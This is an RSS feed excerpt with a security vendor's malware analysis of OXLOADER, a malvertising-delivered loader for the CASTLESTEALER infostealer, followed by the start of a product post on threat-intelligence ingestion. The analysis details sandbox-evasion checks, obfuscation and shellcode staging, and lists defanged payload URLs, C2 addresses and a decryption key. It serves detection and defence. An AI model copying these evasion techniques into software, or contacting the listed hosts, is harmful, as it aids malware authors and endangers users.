            <content:encoded><![CDATA[<p>A previously undocumented Windows loader tracked as OXLOADER is delivering the CASTLESTEALER infostealer via malicious Google Ads, with low detection rates across static engines and sandbox detonations. The loader uses several obfuscation layers (control-flow flattening, opaque predicates, mixed Boolean-Arithmetic), self-modifying decryption stubs, and abuses the Windows <code>.reloc</code> section to stage shellcode.</p>
<p>Elastic Security Labs identified OXLOADER in an active campaign targeting one of our customers; CIS-region and Russian-language exclusions point to a financially motivated, Russian-speaking threat actor. We have found no prior public reporting on this family.</p>
<h2>Key takeaways</h2>
<ul>
<li>Elastic Security Labs discovers new loader (OXLOADER)</li>
<li>OXLOADER observed in campaigns distributing CASTLESTEALER via malicious Google Ads</li>
<li>CIS-region exclusion and Russian language checks suggest a Russian-speaking, financially motivated threat actor</li>
<li>Low detection rates across static engines and sandbox detonations</li>
<li>Elastic Defend stops the entire attack chain using advanced prevention capabilities</li>
</ul>
<h1>How malvertising delivered OXLOADER to victims</h1>
<p>OXLOADER is distributed via malicious Google Ads impersonating Node.js. Victims are redirected through an intermediary domain to a Storj-hosted batch script, which downloads and executes OXLOADER.</p>
<p>The infection began when the user searched for an <code>lts version of node.js</code> and clicked a sponsored result leading to <code>node-js[.]prentiva99[.]info</code>, a <a href="https://gist.github.com/jiayuchann/fc37e3c047ebd987619e440c44b465ad">malicious landing page</a> designed to impersonate a legitimate Node.js deployment platform. The threat actor operated a Google Ads campaign targeting US-based victims; the ad was last shown on Apr 23, 2026, and the site is now offline. The advertiser was registered under the verified name <code>ВОЛОДИМИР ТЕРЕЩЕНКО</code>, based in Ukraine. Whether this reflects the actual operator, a front account, or a purchased identity remains unclear. On May 14, 2026, the advertiser along with their associated ad campaigns were removed from Google entirely.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image1.png" alt="Advertiser’s profile on Google Ads Transparency Center" title="Advertiser’s profile on Google Ads Transparency Center" /></p>
<p>Upon interaction, the user was redirected through <code>app[.]miloyannopoulos[.]com/download?subid1=download</code>, which responded with a <code>302 Found</code> to the payload URL <code>link[.]storjshare[.]io/raw/jux4e4ky5mruo4jkxsssp42sau4q/ruslan/BATPackageBuilderSetup.bat</code>. This delivered a Windows batch script, hosted on <a href="https://www.storj.io/">Storj’s</a> legitimate link-sharing service, which the threat actor abused to evade domain-based reputation filtering.</p>
<p>The batch script displays a fake software installation wizard UI, immediately downloads the next-stage executable from the Storj URL <code>link.storjshare[.]io/raw/jwwvr4oskkkjsgevt774ta62ehya/ruslan/aBsvwbdas.exe</code> via PowerShell, and launches it with <code>-Verb RunAs</code> to trigger a UAC elevation prompt.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image11.png" alt="Batch script downloading and launching OXLOADER" title="Batch script downloading and launching OXLOADER" /></p>
<p>Following execution of the Batch script, Elastic Defend detected malicious behavior (policy was set to detect only), triggering multiple behavioral rules including <code>Microsoft Common Language Runtime Loaded from Suspicious Memory</code>, hinting at a .NET-based payload consistent with <code>CASTLESTEALER</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image26.png" alt="Elastic Defend alerts triggered upon script execution" title="Elastic Defend alerts triggered upon script execution" /></p>
<p>The following is the execution graph of the attack chain from payload download to <code>CASTLESTEALER</code> deployment.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image4.png" alt="Infection chain" title="Infection chain" /></p>
<h1>OXLOADER malware loader: technical analysis</h1>
<p>The first OXLOADER sample our team analyzed masquerades as the popular tool, <a href="http://www.rohitab.com/apimonitor">API Monitor</a> from <a href="http://rohitab.com">rohitab.com</a>. Due to the heavy presence of legitimate code and code-hiding techniques, this loader is able to fly under the radar against static file analyzers.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image23.png" alt="VirusTotal showing small number of detections" title="VirusTotal showing small number of detections" /></p>
<h2>How OXLOADER unpacks itself at runtime</h2>
<p>The malware begins executing during the CRT initializer phase, before any user code is run. The CRT function <code>cinit()</code> invokes <code>initterm()</code>, which walks the C++ initializer table (<code>__xc_a</code> → <code>__xc_z</code>) calling each entry. The malware developer has hijacked one of these entries, pointing to a function that makes a <code>RegisterClipboardFormatW()</code> call before tail-jumping into the first decryption stub.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image25.png" alt="Malicious code started through CRT initialization" title="Malicious code started through CRT initialization" /></p>
<p>The loader uses self-modifying techniques with several decryption stubs to unroll itself. Below is an example of a decryption stub being patched in during runtime, before jumping to it.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image2.png" alt="Small decryption stub patched in" title="Small decryption stub patched in" /></p>
<p>After the patching has taken place, the loader decrypts a 28,233-byte region. Each byte is decrypted with a single-byte XOR key that updates after every iteration: the just-decrypted plaintext byte is added to the key, which is then used to decrypt the next byte. This similar decryption routine runs three times in total, each over a different region.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image28.png" alt="Rolling-XOR decryption of next-stage code" title="Rolling-XOR decryption of next-stage code" /></p>
<h2>Obfuscation techniques used to evade static detection</h2>
<p>OXLOADER breaks automated function-boundary detection in binary analysis tooling such as IDA Pro using four layered obfuscation techniques: control-flow flattening (CFF), mixed Boolean-Arithmetic (MBA), opaque predicates, and function chunking across non-contiguous code regions. Functions are stitched together with unconditional jumps, and some regions are reached through indirect jumps whose target addresses are computed at runtime via MBA arithmetic. The result is that IDA Pro cannot reliably reconstruct function boundaries, requiring manual fixes.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image17.png" alt="Control-flow flattening with nested MBA arithmetic example" title="Control-flow flattening with nested MBA arithmetic example" /></p>
<p>The loader decrypts various strings at runtime using the following string decryption algorithm:</p>
<pre><code class="language-cpp">uint32_t obf_xor_a1_with_a2_plus_33FDA(uint32_t a1, uint32_t a2) { 
return a1 ^ (a2 + 0x33FDA); 
} 
</code></pre>
<p>After the code is fully unpacked/decrypted, the malware combines this string decryption function with an Adler-32 API hashing <a href="https://github.com/OALabs/hashdb/blob/main/algorithms/dualacc_modfff1.py">algorithm</a> to dynamically resolve its imports.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image13.png" alt="String decryption and API resolving" title="String decryption and API resolving" /></p>
<h2>How does OXLOADER evade sandbox and VM detection?</h2>
<p>After resolving its APIs, OXLOADER performs various checks to ensure the machine executes in a clean environment, avoiding execution in sandbox environments.</p>
<table>
<thead>
<tr>
<th align="left">Check</th>
<th align="left">Method</th>
<th align="left">Threshold</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Emulation</td>
<td align="left"><code>WNetAddConnection2W</code> with malformed resource</td>
<td align="left">Expects <code>ERROR_BAD_NAME</code> (0x43)</td>
</tr>
<tr>
<td align="left">CPU count</td>
<td align="left">Process environment check</td>
<td align="left">≥ 3 CPUs</td>
</tr>
<tr>
<td align="left">RAM</td>
<td align="left"><code>GlobalMemoryStatusEx</code></td>
<td align="left">≥ 3 GB physical memory</td>
</tr>
<tr>
<td align="left">Display refresh rate</td>
<td align="left">WMI <code>Win32_VideoController</code> query</td>
<td align="left">≥ 20 Hz</td>
</tr>
<tr>
<td align="left">Geographic region</td>
<td align="left"><code>GetUserGeoID</code></td>
<td align="left">Excludes CIS GEOIDs</td>
</tr>
</tbody>
</table>
<p>The first check attempts to connect to a deliberately malformed network resource (<code>*72s@1s</code>) using <code>mpr!WNetAddConnection2W</code>. This technique appears to defeat emulation/sandboxes that may hook or return a successful connection unconditionally. The malware developer verifies this call by accessing the TEB directly to retrieve the <code>LastErrorValue</code>. The loader expects this error code to be <code>ERROR_BAD_NAME (0x43)</code>, if the error code is anything other than this value, the malware takes the failure branch and stops execution.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image20.png" alt="Emulation check via WNetAddConnection2W" title="Emulation check via WNetAddConnection2W" /></p>
<p>The second check is an anti-sandbox test based on the processor count: the loader requires the host to have at least 3 CPUs to continue. Many sandboxes and analysis VMs are provisioned with one or two CPUs to conserve resources, so this threshold filters out these automated analysis environments.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image15.png" alt="Anti-sandbox check using CPU count" title="Anti-sandbox check using CPU count" /></p>
<p>The next check uses <code>GlobalMemoryStatusEx()</code> to verify that the host has at least 3 GB of available physical memory.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image6.png" alt="Anti-sandbox check based on RAM" title="Anti-sandbox check based on RAM" /></p>
<p>A further check uses WMI to query the system display's refresh rate, executing the WQL statement <code>SELECT CurrentRefreshRate FROM Win32_VideoController</code> and comparing the returned value (in Hertz) against a threshold of 20. Physical monitors usually report around 60 Hz or higher, while headless and default-virtualized configurations typically report 0 or 1, and values below 20 cause the loader to abort.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image24.png" alt="Anti-sandbox check based on refresh rate" title="Anti-sandbox check based on refresh rate" /></p>
<h2>Geographic and language exclusions</h2>
<p>The final two checks halt execution if the host is located in a <a href="https://en.wikipedia.org/wiki/Commonwealth_of_Independent_States">CIS</a> country or configured for the Russian language. The first check in this category uses <code>GetUserGeoID</code> to retrieve the system’s geographic region and compares it against a hardcoded list of CIS country GEOIDs.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image29.png" alt="CIS country exclusion list" title="CIS country exclusion list" /></p>
<p>The second check uses <code>GetUserDefaultUILanguage</code> and matches against LANGID (<code>0x419 - Russian, Russia</code>), the standard configuration for a Russian language Windows installation.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image7.png" alt="Russian language exclusion" title="Russian language exclusion" /></p>
<h2>Shellcode staging via .reloc section and OCX file</h2>
<p>After all the checks have passed, the malware makes a copy of the Windows DirectUI Engine DLL (<code>C:\Windows\System32\dui70.dll</code>), storing it in a temporary location using a randomly generated name with the <code>.ocx</code> extension (<code>PFHemkxVk.ocx</code>). This extension choice inspired the OXLOADER family name.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image21.png" alt="Newly dropped DLL copied from dui70.dll" title="Newly dropped DLL copied from dui70.dll" /></p>
<p>OXLOADER then creates a new section named (<code>.xtext</code>) in this target DLL (<code>PFHemkxVk.ocx</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image14.png" alt="New section highlighted via PE Bear" title="New section highlighted via PE Bear" /></p>
<p>This new section (<code>.xtext</code>) is configured with RWX (read/write/execute) protections in preparation to store and execute the next stage of the malicious code.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image5.png" alt="PE Bear showing newly added section with characteristics" title="PE Bear showing newly added section with characteristics" /></p>
<p>This updated DLL (<code>PFHemkxVk.ocx</code>) is then loaded into the existing loader process via <code>LoadLibraryA</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image12.png" alt="Process Hacker showing new loaded module" title="Process Hacker showing new loaded module" /></p>
<p>In a normal Windows executable, the <code>.reloc</code> section contains a table of <code>IMAGE_BASE_RELOCATION</code> blocks that the Windows loader applies to patch absolute addresses when the image is loaded at an address other than its preferred base. In this sample, the malware developer is using<br />
the <code>.reloc</code> section to house malicious code instead of the base relocation entries. This is a strong static-analysis red flag: legitimate toolchains do not emit code into the <code>.reloc</code> section.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image3.png" alt="PE-bear showing code/instructions inside .reloc section" title="PE-bear showing code/instructions inside .reloc section" /></p>
<p>This shellcode from the <code>.reloc</code> section is then copied to the newly created section (<code>.xtext</code>) in the OCX file, and the loader then calls this code.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image19.png" alt="Shellcode copied from .reloc section" title="Shellcode copied from .reloc section" /></p>
<p>As observed previously, there is another decryption stub used to unpack this next stage.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image10.png" alt="Self-modifying instructions from .xtext section" title="Self-modifying instructions from .xtext section" /></p>
<h2>In-memory infostealer delivery via DonutLoader and .NET assembly</h2>
<p>This next-stage shellcode is a payload configured from <a href="https://github.com/TheWover/donut">DonutLoader</a>, an open-source shellcode generator used to wrap .NET assemblies, DLLs, and EXEs into position-independent shellcode (PIC) for in-memory execution. During unpacking, the shellcode decrypts the loader's embedded configuration and execution context using the Chaskey-LTS block cipher in CTR mode with the key (<code>6E0A1F8F77F7011561F6F9CA96B71B8F</code>) and IV (<code>956C6128E9362E075F8D006C93616A66</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image8.png" alt="DonutLoader shellcode after decryption" title="DonutLoader shellcode after decryption" /></p>
<p>After the decryption, the payload is decompressed via aPLib then bootstrapped through DonutLoader’s <code>RunPE()</code> <a href="https://github.com/TheWover/donut/blob/47758d787209dd1744f58c140102ac91b649df16/loader/inmem_pe.c#L57">function</a>. The final payload is a newly discovered information stealer by <a href="https://www.huntress.com/blog/clickfix-castleloader-backgroundfix">Huntress</a> called CASTLESTEALER. This attribution is based on the same AES key used for C2 communications found between <code>0xDEADBEEF</code> markers in a previous <a href="https://www.virustotal.com/gui/file/ed391a16389234f9ebb6727711baaf3e068d7f77c465708fa3e8b7d0565d7fb9">sample</a>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image16.png" alt="Same AES key used in CASTLESTEALER sample" title="Same AES key used in CASTLESTEALER sample" /></p>
<h2>Second OXLOADER variant: same loader, different masqueraded program</h2>
<p>A second OXLOADER variant masquerades as a Node.js installer rather than API Monitor, but uses the identical loader mechanism.</p>
<p>On May 13, 2026, we discovered that the redirector endpoint <code>app.miloyannopoulos[.]com/download</code> responded with one of two <code>Location</code> header fields, chosen at random:</p>
<ul>
<li><code>https://link.storjshare[.]io/raw/jv5uebuqwzfpmtahj34q753ptykq/node/BATPackageBulderSetup.bat</code></li>
<li><code>https://link.storjshare[.]io/raw/jvsmdybqmvwep2oawbobp6ub7aza/node/node-v24.15.0-x64-86.exe</code></li>
</ul>
<p>The Batch installation script (<code>BATPackageBulderSetup.bat</code>, with a typo for “Builder”) remained mostly identical. The only difference was that the Storj payload link now pointed to a different binary named <code>node-v24.15.0-x64-86.exe</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image9.png" alt="Batch script with a different embedded link pointing to OXLOADER" title="Batch script with a different embedded link pointing to OXLOADER" /></p>
<p>The payload attempts to masquerade itself as benign CMake code while retaining “node” in the filename, likely to keep the lure theme intact. We believe the earlier “API Monitor” sample was likely a distribution error by the operator.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image22.png" alt="VirusTotal with small amounts of detection" title="VirusTotal with small amounts of detection" /></p>
<p>Upon execution, we noticed the same pattern: indirect jumps used for in-memory self-decryption, followed by the loading of <code>mpr.dll</code> and a call to <code>WNetAddConnection2W</code>. We confirmed that it is the identical loader mechanism discussed previously, and this sample also loads <code>CASTLESTEALER</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image27.png" alt="Loader behavior caught through a TinyTracer run" title="Loader behavior caught through a TinyTracer run" /></p>
<p>Below is a snippet where the self-decryption occurs. Dummy CMake-related strings appear to be passed as arguments to a function call, which patches a small decryption stub into memory immediately after the call site. Execution then jumps to the stub to decrypt subsequent instructions, and this process repeats 2 more times until the main malware body is decrypted.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/image18.png" alt="Identical self-decryption mechanism as the first sample" title="Identical self-decryption mechanism as the first sample" /></p>
<h1>Conclusion: why defenders should track OXLOADER</h1>
<p>OXLOADER is in an early operational phase, but the engineering behind it suggests this family is worth watching. The code obfuscation, anti-VM measures, benign-looking code used to masquerade its binaries, and unique staging techniques reflect deliberate engineering choices to evade analysis. That investment is paying off, resulting in low detection rates across static engines and detonation runs, giving OXLOADER a window to operate before it gets hunted down.</p>
<h2>REF8372 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0042">Resource Development</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1583/008/">Acquire Infrastructure: Malvertising</a></li>
<li><a href="https://attack.mitre.org/techniques/T1608/001/">Stage Capabilities: Upload Malware</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">User Execution: Malicious File</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/013/">Obfuscated Files or Information: Encrypted/Encoded File</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/009/">Obfuscated Files or Information: Embedded Payloads</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/001/">Virtualization/Sandbox Evasion: System Checks</a></li>
<li><a href="https://attack.mitre.org/techniques/T1614/001/">System Location Discovery: System Language Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
</ul>
<h2>Remediating REF8372</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/discovery_potential_browser_information_discovery.toml">Potential Browser Information Discovery</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_with_hardware_breakpoints.toml">Potential Evasion with Hardware Breakpoints</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_thread_context_manipulation.toml">Suspicious Thread Context Manipulation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_virtualalloc_api_call_from_an_unsigned_dll.toml">VirtualAlloc API Call from an Unsigned DLL</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_remote_memory_allocation.toml">Suspicious Remote Memory Allocation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_execution_from_suspicious_stack_trailing_bytes.toml">Execution from Suspicious Stack Trailing Bytes</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_microsoft_common_language_runtime_loaded_from_suspicious_memory.toml">Microsoft Common Language Runtime Loaded from Suspicious Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_powershell_execution.toml">Suspicious PowerShell Execution</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_module_stomping_from_a_copied_library.toml">Module Stomping from a Copied Library</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_OxLoader.yar">Windows.Trojan.OxLoader</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CastleStealer.yar">Windows.Trojan.CastleStealer</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>node-js\[.\]prentiva99\[.\]info</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Malvertising landing page</td>
</tr>
<tr>
<td align="left"><code>app\[.\]miloyannopoulos\[.\]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Malvertising Redirector</td>
</tr>
<tr>
<td align="left"><code>fdfc7831e5c24cfa80152860dfe8c056ba079f7df1393bf6bb7b18ed974eda37</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>BATPackageBuilderSetup.bat</code></td>
<td align="left">OXLOADER downloader &amp; launcher</td>
</tr>
<tr>
<td align="left"><code>de4f51649ec1a33071854aefe93ffb3fc225e19f802d8dd914676dd5dfef2615</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>BATPackageBulderSetup.bat</code></td>
<td align="left">OXLOADER downloader &amp; launcher</td>
</tr>
<tr>
<td align="left"><code>9a9939dff297997732aaade9b243d695632cbd64033c5fbcb9de3d09b7e6c28d</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>apimonitor-x64.exe</code></td>
<td align="left">OXLOADER</td>
</tr>
<tr>
<td align="left"><code>c85f2765a6c3c3f3907c17e57df12f8f68826f74bff3bbfd272af50666d065fe</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>node-v24.15.0-x64-86.exe</code></td>
<td align="left">OXLOADER</td>
</tr>
<tr>
<td align="left"><code>4ec9d9d4d10ad78fc6d7bda7cb17d52984878ccd2dd4302fd1cef152313b9741</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">CASTLESTEALER</td>
</tr>
<tr>
<td align="left"><code>39019279686c820c3af5684012a0085a7e2109f612c9fab886dd0577ace5b5c6</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">CASTLESTEALER</td>
</tr>
<tr>
<td align="left"><code>89.124.95\[.\]161</code></td>
<td align="left">ipv4</td>
<td align="left"></td>
<td align="left">CASTLESTEALER C2</td>
</tr>
<tr>
<td align="left"><code>89.124.115\[.\]82</code></td>
<td align="left">ipv4</td>
<td align="left"></td>
<td align="left">CASTLESTEALER C2</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/oxloader-malware-loader-infostealer/oxloader-malware-loader-infostealer.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[From API key to live threat detections in minutes: how Elastic Security ingests Google Threat Intelligence]]></title>
            <link>https://www.elastic.co/fr/security-labs/elastic-security-google-threat-intelligence</link>
            <guid>elastic-security-google-threat-intelligence</guid>
            <pubDate>Tue, 02 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Find out how Elastic Security ingests Google Threat Intelligence for continuous detection and uses AI-driven workflows to enrich alerts in real time, from API key to live detections in minutes.]]></description>
            <content:encoded><![CDATA[<p>Elastic Security natively ingests Google Threat Intelligence: known-malicious IPs, domains, URLs, and file hashes matched against your telemetry the moment they appear, each carrying a verdict and a 0–100 threat score. The setup consists of an API key and two data streams, with no extra infrastructure. When an indicator is ambiguous, workflows built on Agent Builder query VirusTotal in real time, enrich the alert, correlate with your telemetry, and summarize findings in real time.</p>
<h2>How threat intelligence works in Elastic Security</h2>
<p>In modern security operations, threat intelligence must work across detection, investigation, and response, not sit in a reference table.</p>
<p>Elastic Security supports this in two ways. Ingested intelligence via <a href="https://www.elastic.co/fr/docs/reference/integrations/threat-intelligence-intro">integrations</a> drives continuous detection and historical hunting. Agentic workflows, built on Elastic Workflows and Agent Builder, provide on-demand enrichment and investigative reasoning during an active investigation. This post focuses on how Elastic's Google Threat Intelligence (GTI) integration powers ingestion-based detection and hunting, and how it fits into a broader, more dynamic SOC model where AI-driven workflows use that intelligence at alert time.</p>
<h2>What Google Threat Intelligence provides</h2>
<p>The Google Threat Intelligence integration brings curated threat intelligence directly into Elastic Security, making it actionable across detection and investigation. GTI combines intelligence from Google's global security visibility with VirusTotal data to deliver enriched context on indicators of compromise, with coverage across malware, ransomware, phishing, infostealers, malicious infrastructure, threat actors, and other adversary activity.</p>
<p>Each indicator is returned with: a verdict (Malicious, Suspicious, or Undetected), a severity, and a composite threat score from 0–100. Because that score is derived from multiple signals, security teams can prioritize indicators based on confidence rather than their presence alone.</p>
<h2>How the Google Threat Intelligence integration works in Elastic Security</h2>
<p>Setup takes only a few minutes. You provide your GTI API key in the Elastic integration, and ingestion begins on a scheduled polling interval, with no additional infrastructure or collectors required. The integration ingests two primary data streams.</p>
<table>
<thead>
<tr>
<th>Purpose</th>
<th>Threat List</th>
<th>IOC Stream</th>
</tr>
</thead>
<tbody>
<tr>
<td>Purpose</td>
<td>High-confidence detection</td>
<td>Threat hunting + early visibility</td>
</tr>
<tr>
<td>Volume</td>
<td>Curated, lower volume</td>
<td>Broader, higher volume</td>
</tr>
<tr>
<td>Best for</td>
<td>Precision-critical alerting</td>
<td>Emerging and exploratory activity</td>
</tr>
</tbody>
</table>
<p>As data is ingested, indicators are standardized using the Elastic Common Schema (ECS), along with GTI context, such as verdict, severity, score, malware families, threat actor associations, and campaign metadata (where available). This enables GTI to be searched and correlated consistently alongside other ECS-compliant intelligence sources (including TAXII feeds), custom intelligence, and the broader security telemetry already present in Elastic Security. Elastic also manages indicator lifecycle automatically, including expiration and revocation, which reduces matches against stale intelligence. Once ingested, GTI indicators become part of the same searchable dataset as logs, endpoint, and cloud telemetry, enabling unified correlation across the environment.</p>
<h2>Using Google Threat Intelligence for indicator match detections</h2>
<p>Elastic's <a href="https://www.elastic.co/fr/docs/solutions/security/detect-and-alert/indicator-match">indicator match rules</a> use GTI data to detect when known malicious IPs, domains, URLs, or file hashes appear in security telemetry, continuously correlating intelligence against observed activity and surfacing matches for investigation. Because GTI provides structured fields such as score, verdict, and severity, teams can tune detections by confidence: high-confidence indicators can trigger immediate escalation, while lower-confidence indicators can be routed for review or further validation.</p>
<h2>Threat hunting with GTI indicators in Elastic Security</h2>
<p>With GTI metadata, analysts can pivot from a single IOC to all associated infrastructure and search historical telemetry; not just check if an indicator appeared, but understand what campaign it belongs to.</p>
<p>GTI enriches indicators with metadata such as threat actor associations and malware family context, allowing analysts to move beyond single-IOC searches. Hunters can pivot from an adversary or campaign to all associated indicators (IPs, domains, and file hashes) and search across historical telemetry using ES|QL. This makes it straightforward to determine whether known malicious infrastructure has ever interacted with the environment.</p>
<h2>Monitoring threat intelligence activity with GTI dashboards</h2>
<p>The integration includes prebuilt dashboards that provide visibility into threat intelligence activity and the detections GTI drives. Using saved searches and aggregated metrics, these dashboards summarize observed threats across malware families, campaigns, threat actors, toolkits, and vulnerabilities, helping SOC teams understand which threat types are most active in their environment and how intelligence is being operationalized.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/elastic-security-google-threat-intelligence/image1.png" alt="Elastic Security’s Google Threat Intelligence Adversary Intelligence dashboard" /></p>
<h3>Google Threat Intelligence feed categories and coverage</h3>
<p>GTI includes 14 categorized feed categories, so organizations can tailor coverage to their needs and subscription level. Supported categories include:</p>
<ul>
<li>Cryptominers</li>
<li>Trending threats</li>
<li>Initial access and delivery vectors</li>
<li>Infostealers</li>
<li>IoT threats</li>
<li>Linux malware</li>
<li>Malicious infrastructure</li>
<li>General malware</li>
<li>Mobile threats</li>
<li>macOS threats</li>
<li>Phishing</li>
<li>Ransomware</li>
<li>Threat actors</li>
<li>Vulnerability exploitation and weaponization</li>
</ul>
<p>Availability depends on your Google Threat Intelligence subscription tier, and additional feeds can be enabled without changes to the Elastic configuration.</p>
<h2>Agentic enrichment and real-time triage with Elastic Workflows</h2>
<p>For ambiguous or emerging indicators not yet in an indexed feed, Elastic Security supports AI-driven investigation through Agent Builder and Elastic Workflows, which complement intelligence ingestion by enabling real-time enrichment and reasoning during an investigation.</p>
<p>With workflows, an analyst is no longer limited to the intelligence already in the index. During alert triage, a workflow can query external intelligence and reputation services such as VirusTotal in real time, enrich an alert with fresh context about the IPs, domains, or file hashes involved, correlate that live intelligence against Elastic telemetry, and summarize the findings into a structured investigation context that the analyst can act on. Agent Builder extends this further: teams can compose reusable, task-specific capabilities, such as agent skills for alert triage, enrichment, or case handling, so the assistant executes multi-step investigative tasks with the consistency of traditional automation, through a natural-language interface.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/elastic-security-google-threat-intelligence/image3.png" alt="Elastic Workflows editor showing the &quot;Send Hash to VirusTotal&quot; workflow" /></p>
